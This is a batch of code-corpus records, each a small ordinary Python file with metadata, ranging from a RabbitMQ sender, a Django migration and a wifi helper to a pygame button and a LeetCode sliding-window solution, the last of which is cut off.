{"seq_id": "113848264", "text": "#!/usr/bin/env python\nimport pika\n\n\ndef send(data):\n connection = pika.BlockingConnection(\n pika.URLParameters('amqp://admin:admin@rabbitmq:5672'))\n channel = connection.channel()\n\n channel.queue_declare(queue='model')\n\n channel.basic_publish(exchange='', routing_key='model', body=data)\n print(\" [x] Sent 'Hello World!'\")\n connection.close()\n", "sub_path": "data-clean/send.py", "file_name": "send.py", "file_ext": "py", "file_size_in_byte": 368, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pika.BlockingConnection", "line_number": 6, "usage_type": "call"}, {"api_name": "pika.URLParameters", "line_number": 7, "usage_type": "call"}]} {"seq_id": "179375277", "text": "#!/usr/bin/env python\n\n\"\"\"\ntest06.py -- producer adds to fixed-sized list; scanner uses them\n\nOPTIONS:\n-v verbose multiprocessing output\n\"\"\"\n\nimport logging\nimport logging.handlers\nimport multiprocessing\nimport sys\nimport time\n\n\nLOG_FILENAME = 'test06.log'\n\n\ndef producer(obj_list):\n \"\"\"\n add an item to list every 2 sec; ensure fixed size list\n \"\"\"\n logger = multiprocessing.get_logger()\n logger.info('start')\n while True:\n try:\n time.sleep(0.5)\n except KeyboardInterrupt:\n return\n msg = 'ding: {:04d}'.format(int(time.time()) % 10000)\n logger.info('put: %s', msg)\n del obj_list[0]\n obj_list.append(msg)\n\n\ndef scanner(obj_list):\n \"\"\"\n every now and then, run calculation on obj_list\n \"\"\"\n logger = multiprocessing.get_logger()\n logger.info('start')\n while True:\n try:\n time.sleep(5)\n except KeyboardInterrupt:\n return\n logger.info('items: %s', list(obj_list))\n\n\ndef main():\n opt_verbose = '-v' in sys.argv[1:]\n logger = multiprocessing.log_to_stderr(\n level=logging.DEBUG if opt_verbose else logging.INFO,\n )\n handler = logging.handlers.RotatingFileHandler(LOG_FILENAME, maxBytes=1024,\n backupCount=5)\n logger.addHandler(handler)\n\n logger.info('setup')\n\n # create fixed-length list, shared between producer & consumer\n manager = multiprocessing.Manager()\n my_obj_list = manager.list([None] * 10)\n\n multiprocessing.Process(target=producer, args=(my_obj_list,),\n name='producer',).start()\n\n multiprocessing.Process(target=scanner, args=(my_obj_list,),\n name='scanner',).start()\n\n logger.info('running forever')\n try:\n manager.join() # wait until both workers die\n except KeyboardInterrupt:\n pass\n logger.info('done')\n \n\nif __name__ == '__main__':\n main()\n", "sub_path": "python/test06.py", "file_name": "test06.py", "file_ext": "py", "file_size_in_byte": 1975, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "multiprocessing.get_logger", "line_number": 24, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "time.time", "line_number": 31, "usage_type": "call"}, {"api_name": "multiprocessing.get_logger", "line_number": 41, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 45, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 52, "usage_type": "attribute"}, {"api_name": "multiprocessing.log_to_stderr", "line_number": 53, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 54, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 54, "usage_type": "attribute"}, {"api_name": "logging.handlers.RotatingFileHandler", "line_number": 56, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 56, "usage_type": "attribute"}, {"api_name": "multiprocessing.Manager", "line_number": 63, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 66, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 69, "usage_type": "call"}]} {"seq_id": "188161601", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('admin', '0030_giftbalancechangelog'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='GiftOrder',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, primary_key=True, verbose_name='ID')),\n ('order_id', models.CharField(max_length=32, verbose_name='订单号')),\n ('page_id', models.CharField(max_length=64, verbose_name='货架号')),\n ('trans_id', models.CharField(max_length=32, verbose_name='微信支付交易订单号')),\n ('create_time', models.IntegerField(verbose_name='订单创建时间')),\n ('pay_finish_time', models.IntegerField(verbose_name='订单支付时间')),\n ('total_price', models.IntegerField(verbose_name='全部金额')),\n ('open_id', models.CharField(max_length=32, verbose_name='购买者')),\n ('accepter_openid', models.CharField(max_length=32, verbose_name='接收者')),\n ],\n options={\n 'db_table': 'gift_order',\n },\n ),\n migrations.CreateModel(\n name='GiftOrderInfo',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, primary_key=True, verbose_name='ID')),\n ('order_id', models.IntegerField(verbose_name='对应gift_order的自增长id')),\n ('card_id', models.CharField(max_length=32, verbose_name='卡类型ID')),\n ('price', models.IntegerField(verbose_name='卡面值')),\n ('code', models.CharField(max_length=32, verbose_name='code')),\n ],\n options={\n 'db_table': 'gift_order_info',\n },\n ),\n migrations.AddField(\n model_name='giftbalancechangelog',\n name='status',\n field=models.CharField(default='0', max_length=1, verbose_name='code状态u(0:未销售;1:已销售)'),\n ),\n ]\n", "sub_path": "apps/admin/migrations/0031_auto_20170705_1153.py", "file_name": "0031_auto_20170705_1153.py", "file_ext": "py", "file_size_in_byte": 2169, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 34, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 34, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 35, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 38, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 44, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 44, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 47, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 47, "usage_type": "name"}]} {"seq_id": "641182504", "text": "from nipype.interfaces.utility import Function\nfrom nipype.pipeline import Node\n\n\ndef tsv2subjectinfo(in_file, exclude=None):\n\n import pandas as pd\n from nipype.interfaces.base import Bunch\n import numpy as np\n\n events = pd.read_csv(in_file, sep=str('\\t'))\n\n if exclude is not None: # not tested\n events.drop(exclude, axis=1, inplace=True)\n\n conditions = sorted(events['trial_type'].unique())\n onsets = [events['onset'][events['trial_type'] == tt].tolist() for tt in conditions]\n durations = [events['duration'][events['trial_type'] == tt].tolist() for tt in conditions]\n\n if 'weight' in events.columns:\n amplitudes = [events['weight'][events['trial_type'] == tt].tolist() for tt in conditions]\n else:\n amplitudes = [np.ones(len(d)) for d in durations]\n\n bunch = Bunch(conditions=conditions,\n onsets=onsets,\n durations=durations,\n amplitudes=amplitudes)\n\n return bunch\n\n\nTsv2subjectinfo = Function(function=tsv2subjectinfo, input_names=['in_file', 'exclude'],\n output_names=['subject_info'])\n\n\ndef getpercentthresh(value, percentage):\n return percentage * value\n\n\nGetpercentthresh = Function(function=getpercentthresh, input_names=['value', 'percentage'],\n output_names=['out_val'])\n\n\ndef getinormscale(medianval):\n return 10000. / medianval\n\n\nGetinormscale = Function(function=getinormscale, input_names=['medianval'],\n output_names=['value'])\n\n\ndef getusan(in_file, brightness_thresh):\n return [(in_file, brightness_thresh)]\n\n\nGetusan = Function(function=getusan, input_names=['in_file', 'brightness_thresh'],\n output_names=['usan'])\n\n\ndef find_fsl_mni_files():\n\n import os\n if 'FSLDIR' in os.environ:\n fsldir = os.environ['FSLDIR']\n else:\n raise ValueError(\"You don't have FSL installed! \"\n \"Cannot run this pipeline\")\n\n mni_head = os.path.join(fsldir, 'data', 'standard', 'MNI152_T1_2mm.nii.gz')\n mni_brain = os.path.join(fsldir, 'data', 'standard', 'MNI152_T1_2mm_brain.nii.gz')\n mni_mask = os.path.join(fsldir, 'data', 'standard', 'MNI152_T1_2mm_brain_mask_dil.nii.gz')\n return mni_head, mni_brain, mni_mask\n\n\nFind_fsl_mni_files = Function(function=find_fsl_mni_files, input_names=None,\n output_names=['MNI_head', 'MNI_brain', 'MNI_mask'])\n", "sub_path": "_examples/example_pipelines/FEAT_fsl_complete_firstlevel_and_secondlevel/firstlevelhelpers.py", "file_name": "firstlevelhelpers.py", "file_ext": "py", "file_size_in_byte": 2447, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 23, "usage_type": "call"}, {"api_name": "nipype.interfaces.base.Bunch", "line_number": 25, "usage_type": "call"}, {"api_name": "nipype.interfaces.utility.Function", "line_number": 33, "usage_type": "call"}, {"api_name": "nipype.interfaces.utility.Function", "line_number": 41, "usage_type": "call"}, {"api_name": "nipype.interfaces.utility.Function", "line_number": 49, "usage_type": "call"}, {"api_name": "nipype.interfaces.utility.Function", "line_number": 57, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "nipype.interfaces.utility.Function", "line_number": 76, "usage_type": "call"}]} {"seq_id": "412283544", "text": "import os\nimport json\nimport urllib\nimport logging\nimport threading\nfrom contextlib import contextmanager\nimport requests\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass Lock(object):\n def __init__(self, appName, server, releaseTimeout=60, token=None):\n self.appName = appName\n self.releaseTimeout = releaseTimeout\n self.server = server\n self.acquire_url = urllib.parse.urljoin(server, \"./acquire\")\n self.release_url = urllib.parse.urljoin(server, \"./release\")\n self.token = token\n\n def acquire(self, lockName, releaseTimeout=None):\n releaseTimeout = releaseTimeout or self.releaseTimeout\n params = {\n \"appName\": self.appName,\n \"lockName\": lockName,\n \"releaseTimeout\": releaseTimeout,\n }\n if self.token:\n params[\"token\"] = self.token\n url = urllib.parse.urljoin(self.acquire_url, \"?\" + urllib.parse.urlencode((params)))\n respone = requests.get(url)\n result = json.loads(respone.content.decode(\"utf-8\"))\n return result[\"success\"]\n\n def safe_acquire(self, lockName, releaseTimeout=None):\n try:\n success = self.acquire(lockName, releaseTimeout)\n except Exception as e:\n logger.info(\"acquire lock failed: {0}\".format(str(e)))\n success = False\n return success\n\n def release(self, lockName):\n params = {\n \"appName\": self.appName,\n \"lockName\": lockName,\n }\n if self.token:\n params[\"token\"] = self.token\n url = urllib.parse.urljoin(self.release_url, \"?\" + urllib.parse.urlencode((params)))\n respone = requests.get(url)\n result = json.loads(respone.content.decode(\"utf-8\"))\n return result[\"success\"]\n\n def safe_release(self, lockName):\n try:\n success = self.release(lockName)\n except Exception as e:\n logger.info(\"release lock failed: {0}\".format(str(e)))\n success = False\n return success\n\n\n@contextmanager\ndef distlock(lockObject, lockName, releaseTimeout=None):\n locked = lockObject.safe_acquire(lockName, releaseTimeout)\n yield locked\n if locked:\n lockObject.safe_release(lockName)\n\n\ndef get_app_unique_name(prefix=None):\n if prefix is None:\n prefix = os.sys.argv[0]\n return \"{prefix}:{pid}:{tid}\".format(prefix=prefix, pid=os.getpid(), tid=threading.get_ident())\n", "sub_path": "distlock_client.py", "file_name": "distlock_client.py", "file_ext": "py", "file_size_in_byte": 2433, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "urllib.parse.urljoin", "line_number": 18, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 18, "usage_type": "attribute"}, {"api_name": "urllib.parse.urljoin", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 19, "usage_type": "attribute"}, {"api_name": "urllib.parse.urljoin", "line_number": 31, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 31, "usage_type": "attribute"}, {"api_name": "urllib.parse.urlencode", "line_number": 31, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 32, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 33, "usage_type": "call"}, {"api_name": "urllib.parse.urljoin", "line_number": 51, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 51, "usage_type": "attribute"}, {"api_name": "urllib.parse.urlencode", "line_number": 51, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 52, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 53, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 65, "usage_type": "name"}, {"api_name": "os.sys", "line_number": 75, "usage_type": "attribute"}, {"api_name": "os.getpid", "line_number": 76, "usage_type": "call"}, {"api_name": "threading.get_ident", "line_number": 76, "usage_type": "call"}]} {"seq_id": "561815594", "text": "### Author: EMF Badge team\n### Description: Handles connecting to a wifi access point based on a valid wifi.json file\n### License: MIT\n\nimport network\nimport os\nimport json\nimport pyb\n\n_nic = None\n\ndef nic():\n global _nic\n if not _nic:\n _nic = network.CC3100()\n return _nic\n\ndef create_default_config():\n with open(\"wifi.json\", \"wt\") as file:\n file.write(json.dumps({\"ssid\": \"emfcamp-insecure\"}))\n file.flush()\n os.sync()\n\ndef connection_details():\n data = {}\n try:\n if \"wifi.json\" in os.listdir():\n with open(\"wifi.json\") as f:\n data = json.loads(f.read())\n except ValueError as e:\n print(e)\n\n if \"ssid\" not in data:\n raise OSError(\"Couldn't find a valid wifi.json. See https://badge.emf.camp for more information\")\n\n return data\n\ndef ssid():\n return connection_details()[\"ssid\"]\n\ndef connect(wait = True, timeout = 10):\n if nic().is_connected():\n return\n details = connection_details()\n\n if \"pw\" in details and details[\"pw\"]:\n if wait:\n nic().connect(details[\"ssid\"], details[\"pw\"], timeout=timeout)\n wait_for_connection()\n else:\n nic().connect(details[\"ssid\"], details[\"pw\"], timeout=None)\n else:\n if wait:\n nic().connect(details[\"ssid\"], timeout=timeout)\n wait_for_connection()\n else:\n nic().connect(details[\"ssid\"], timeout=None)\n\n\ndef wait_for_connection():\n while not nic().is_connected():\n nic().update()\n pyb.delay(100)\n\ndef is_connected():\n return nic().is_connected()\n\ndef connection_text():\n return \"Connecting to wifi '%s'. If this doesn't work, please check your wifi.json. More information: badge.emfcamp.org/TiLDA_MK3/wifi\" % (ssid())\n", "sub_path": "lib/wifi.py", "file_name": "wifi.py", "file_ext": "py", "file_size_in_byte": 1788, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "network.CC3100", "line_number": 15, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 20, "usage_type": "call"}, {"api_name": "os.sync", "line_number": 22, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 27, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 29, "usage_type": "call"}, {"api_name": "pyb.delay", "line_number": 63, "usage_type": "call"}]} {"seq_id": "30708827", "text": "# Copyright 2014-present, Apstra, Inc. All rights reserved.\n#\n# This source code is licensed under End User License Agreement found in the\n# LICENSE file at http://www.apstra.com/community/eula\n\nimport retrying\n\nfrom apstra.aosom.exc import SessionRqstError\nfrom apstra.aosom.collection import Collection, CollectionItem\n\n__all__ = ['DeviceManager']\n\n\nclass DeviceServices(object):\n def __init__(self, device):\n self.device = device\n\n @property\n def names(self):\n if 'services' not in self.device.value:\n self.device.read()\n return self.device.value['services']\n\n def __getitem__(self, service):\n got = self.device.api.requests.get(self.device.url + \"/%s\" % service)\n if not got.ok:\n raise SessionRqstError(message=\"unable to retrieve service=%s\" % service,\n resp=got)\n return got.json()['items']\n\n def __str__(self):\n return str(self.names)\n\n __repr__ = __str__\n\n\nclass DeviceItem(CollectionItem):\n @property\n def services(self):\n return DeviceServices(self)\n\n @property\n def state(self):\n \"\"\"\n Returns\n -------\n str\n current AOS management state value, e.g. \"IS-ACTIVE\", meaning \"In service, Active\".\n \"\"\"\n return self.value['status']['state']\n\n @property\n def is_approved(self):\n \"\"\"\n Returns\n -------\n True if this device is approved\n False otherwise\n \"\"\"\n return bool(self.id in self.collection.approved.ids)\n\n @property\n def user_config(self):\n \"\"\"\n As a **getter** returns the current `user_config` dictionary of values.\n As a **setter** provides the ability to set the `user_config` values.\n\n Returns\n -------\n dict\n The 'user_config' dictionary of values\n\n Raises\n ------\n SessionRqstError\n when error occurs in setting the `user_config` value\n \"\"\"\n self.read()\n return self.value.get('user_config')\n\n @user_config.setter\n def user_config(self, value):\n got = self.api.requests.put(\n self.url,\n json=dict(user_config=value))\n\n if not got.ok:\n raise SessionRqstError(\n message='unable to set user_config',\n resp=got)\n\n def approve(self, location=None):\n \"\"\"\n Approves this device for use by the AOS system. If the device is already approved, then this\n method will return False.\n\n Parameters\n ----------\n location : str\n optional User value that can be used to identify where this device is located in the network.\n\n Returns\n -------\n True if the device is approved\n False if the device does not need to be approved\n\n Raises\n ------\n SessionRqstError\n An error has occurred attempting to make the approve request with the AOS Server API\n \"\"\"\n if self.state != 'OOS-QUARANTINED':\n return False\n\n self.user_config = dict(\n admin_state='normal',\n aos_hcl_model=self.value['facts']['aos_hcl_model'],\n location=location or '')\n\n self.collection.approved.update([self.id])\n\n return True\n\n\nclass Approved(object):\n def __init__(self, api):\n self.api = api\n self.url = '%s/resources/device-pools/default_pool' % self.api.url\n\n @property\n def ids(self):\n return [item['id'] for item in self.get_devices()]\n\n def get(self):\n got = self.api.requests.get(self.url)\n if not got.ok:\n raise SessionRqstError(got)\n\n return got.json()\n\n def get_devices(self):\n return self.get()['devices']\n\n def update(self, device_keys):\n has_devices = self.get_devices()\n\n has_ids = set([dev['id'] for dev in has_devices])\n should_ids = has_ids | set(device_keys)\n diff_ids = has_ids ^ should_ids\n\n if not diff_ids:\n return # nothing to add\n\n # need to append to what's already in the pool,\n # since this is a PUT action\n\n for new_id in diff_ids:\n has_devices.append(dict(id=new_id))\n\n timeout = 3000\n\n @retrying.retry(wait_fixed=1000, stop_max_delay=timeout)\n def put_updated():\n got = self.api.requests.put(\n self.url, json=dict(display_name='Default Pool',\n devices=has_devices))\n\n if not got.ok:\n raise SessionRqstError(\n message='unable to update approved list: %s' % got.text,\n resp=got)\n\n put_updated()\n\n\nclass DeviceManager(Collection):\n URI = 'systems'\n LABEL = 'device_key'\n Item = DeviceItem\n\n def __init__(self, owner):\n super(DeviceManager, self).__init__(owner)\n self.approved = Approved(owner.api)\n", "sub_path": "pylib/apstra/aosom/session_modules/devices.py", "file_name": "devices.py", "file_ext": "py", "file_size_in_byte": 4968, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "apstra.aosom.exc.SessionRqstError", "line_number": 27, "usage_type": "call"}, {"api_name": "apstra.aosom.collection.CollectionItem", "line_number": 37, "usage_type": "name"}, {"api_name": "apstra.aosom.exc.SessionRqstError", "line_number": 88, "usage_type": "call"}, {"api_name": "apstra.aosom.exc.SessionRqstError", "line_number": 137, "usage_type": "call"}, {"api_name": "apstra.aosom.exc.SessionRqstError", "line_number": 169, "usage_type": "call"}, {"api_name": "retrying.retry", "line_number": 162, "usage_type": "call"}, {"api_name": "apstra.aosom.collection.Collection", "line_number": 176, "usage_type": "name"}]} {"seq_id": "14281885", "text": "import time\nimport os.path\nfrom datetime import datetime\n\nfrom classes.DocumentsAnalyzer import DocumentsAnalyzer\n\n####\n# Parameter definitions.\n####\noutput_dir = os.path.abspath('../../outputs/dict_anal_2')\nda = DocumentsAnalyzer(output_dir, False)\n\nprice_type = 'adjclose'\nc_dicts = ['custom_dict_orig', 'custom_dict_fs_added', 'custom_dict_only_fs']\nconst_boundaries = (-2, 2)\n\nfrom_date = datetime(2015, 8, 2).date()\nto_date = datetime(2016, 4, 2).date()\n\ndict_name = c_dicts[2]\nbase_filename = '_' + price_type + '_' + dict_name.replace('_', '-')\n\n####\n# Testing part\n####\n# start_time = time.time()\n# print(\"TOTAL RUNTIME:\")\n# print(\"--- %s seconds ---\" % (time.time() - start_time))\n\nda.analyze_company(1, from_date, to_date, 'comp1' + base_filename, price_type, const_boundaries, dict_name, True, 2)\n#da.analyze_company(217, from_date, to_date, 'comp1' + base_filename, price_type, const_boundaries, dict_name, True)\n\n#da.analyze_all_companies(from_date, to_date, 'daystats' + base_filename, 'sma', const_boundaries, dict_name)\nexit()\n\n####\n# EXECUTION part\n####\n\nfor d_name in c_dicts:\n base_filename = '_' + price_type + '_' + d_name.replace('_', '-')\n da.analyze_all_companies(from_date, to_date, 'daystats' + base_filename, price_type, const_boundaries, d_name, 2)\n\n", "sub_path": "DataAnalyzer/src/dict_anal_from_file.py", "file_name": "dict_anal_from_file.py", "file_ext": "py", "file_size_in_byte": 1284, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "os.path.path.abspath", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 10, "usage_type": "name"}, {"api_name": "classes.DocumentsAnalyzer.DocumentsAnalyzer", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "call"}]} {"seq_id": "113346705", "text": "from lex import *\nfrom emit import *\nimport parse\nimport parser_java\nimport parser_cpp\nimport parser_py\nimport sys\n\n\n\ndef main():\n # print(\"V3 Compiler\")\n\n # if len(sys.argv) != 2:\n # sys.exit(\"Error: Compiler needs source file as argument.\")\n with open(\"hello.tiny\", 'r', encoding='utf-8') as inputFile:\n it = inputFile.read()\n \n \n lexer = Lexer(it)\n lang = sys.argv[1]\n # print(lang)\n\n if lang == 'C':\n emitter = Emitter(\"out.c\")\n parser = parse.Parser(lexer, emitter)\n parser.program() # Start the parser.\n emitter.writeFile() # Write the output to file.\n\n elif lang == 'C++':\n emitter = Emitter(\"out.cpp\")\n parser = parser_cpp.Parser(lexer, emitter)\n parser.program() # Start the parser.\n emitter.writeFile() # Write the output to file.\n\n elif lang == 'Java':\n emitter = Emitter(\"out.java\")\n parser = parser_java.Parser(lexer, emitter)\n parser.program() # Start the parser.\n emitter.writeFile() # Write the output to file.\n \n elif lang == 'Python':\n emitter = Emitter(\"out.py\")\n parser = parser_py.Parser(lexer, emitter)\n parser.program() # Start the parser.\n emitter.writeFile() # Write the output to file.\n\n print(\"Result: Compiling Completed\")\n\nmain()\n", "sub_path": "teenytiny.py", "file_name": "teenytiny.py", "file_ext": "py", "file_size_in_byte": 1335, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sys.argv", "line_number": 21, "usage_type": "attribute"}, {"api_name": "parse.Parser", "line_number": 26, "usage_type": "call"}, {"api_name": "parser_cpp.Parser", "line_number": 32, "usage_type": "call"}, {"api_name": "parser_java.Parser", "line_number": 38, "usage_type": "call"}, {"api_name": "parser_py.Parser", "line_number": 44, "usage_type": "call"}]} {"seq_id": "27051858", "text": "import time\nfrom devices import anode\nimport traceback\nfrom multiprocessing import dummy\n\n\n# init info for the wiener device.\n\n\nclass Anode:\n def __init__(self, com, channellist):\n \"\"\"channellist example [QdoubleSpinBox, QlineEdit, QlineEdit2, real name in panel]\"\"\"\n self.channel = channellist\n self.scanner_time = 0.3\n self.voltage = 0\n self.current = 0\n self.setvoltage = 0\n dummy.Process(target=self.monitor, args=(com,)).start()\n\n def monitor(self, com):\n isinit = 1\n while isinit:\n try:\n self.anode = anode.Anode(com)\n self.setvoltage = self.anode.getvalidvoltagesetvalue()\n self.channel[0].setValue(self.setvoltage)\n\n self.channel[1].setText('0V')\n self.channel[2].setText('0uA')\n isinit = 0\n except:\n traceback.print_exc()\n time.sleep(5)\n\n while 1:\n try:\n setvoltage = self.channel[0].value()\n if self.setvoltage != setvoltage:\n self.anode.setvoltage(setvoltage)\n self.setvoltage = setvoltage\n\n voltage = self.anode.getvoltage()\n if self.voltage != voltage:\n self.channel[1].setText(str(voltage)[:5]+'V')\n self.voltage = voltage\n\n current = self.anode.getcurrent()\n if self.current != current:\n self.channel[2].setText(str(current*10E5)[:5] + 'uA')\n self.current = current\n\n time.sleep(self.scanner_time)\n except:\n traceback.print_exc()\n time.sleep(1)\n\n", "sub_path": "interface/ianode.py", "file_name": "ianode.py", "file_ext": "py", "file_size_in_byte": 1750, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "multiprocessing.dummy.Process", "line_number": 18, "usage_type": "call"}, {"api_name": "multiprocessing.dummy", "line_number": 18, "usage_type": "name"}, {"api_name": "devices.anode.Anode", "line_number": 24, "usage_type": "call"}, {"api_name": "devices.anode", "line_number": 24, "usage_type": "name"}, {"api_name": "traceback.print_exc", "line_number": 32, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 33, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 52, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 54, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}]} {"seq_id": "82057002", "text": "import pygame\nfrom buttons.button import Button\n\nclass ImageButton(Button):\n\n def __init__(self, screen, x, y, image_path, scale):\n image = pygame.image.load(image_path).convert_alpha()\n\n width = image.get_width()\n height = image.get_height()\n super().__init__(screen, x, y, width, height) \n\n self.image = pygame.transform.scale(image, (int(width * scale), int(height * scale)))\n\n self.rect = self.image.get_rect()\n self.rect.topleft = (x, y)\n\n def draw(self):\n self.screen.blit(self.image, (self.rect.x, self.rect.y))\n", "sub_path": "blank/src/buttons/image_button.py", "file_name": "image_button.py", "file_ext": "py", "file_size_in_byte": 581, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "buttons.button.Button", "line_number": 4, "usage_type": "name"}, {"api_name": "pygame.image.load", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 13, "usage_type": "attribute"}]} {"seq_id": "326647255", "text": "\"\"\"\n340. Longest Substring with At Most K Distinct Characters\n\n\nGiven a string s and an integer k, return the length of the longest substring of s that contains at most k distinct characters.\n\n \n\nExample 1:\n\nInput: s = \"eceba\", k = 2\nOutput: 3\nExplanation: The substring is \"ece\" with length 3.\nExample 2:\n\nInput: s = \"aa\", k = 1\nOutput: 2\nExplanation: The substring is \"aa\" with length 2.\n \n\nConstraints:\n\n1 <= s.length <= 5 * 104\n0 <= k <= 50\n\n\"\"\"\n\n\nclass LengthOfLongestSubstringKDistinct:\n\n def doit_slidingwindow(self, s: str, k: int) -> int:\n\n counter = [0] * 256\n i = numChars = 0\n best = 0\n \n for j in range(len(s)):\n\n if counter[ord(s[j])] == 0:\n numChars += 1\n\n counter[ord(s[j])] += 1\n\n while i < len(s) and numChars > k:\n counter[ord(s[i])] -= 1\n if counter[ord(s[i])] == 0:\n numChars -= 1\n i += 1\n\n best = max(best, j - i + 1)\n\n return best\n\n \"\"\"\n Approach 2: Sliding Window + Ordered Dictionary.\n How to achieve \\mathcal{O}(N)O(N) time complexity\n\n Approach 1 with a standard hashmap couldn't ensure \\mathcal{O}(N)O(N) time complexity.\n\n To have \\mathcal{O}(N)O(N) 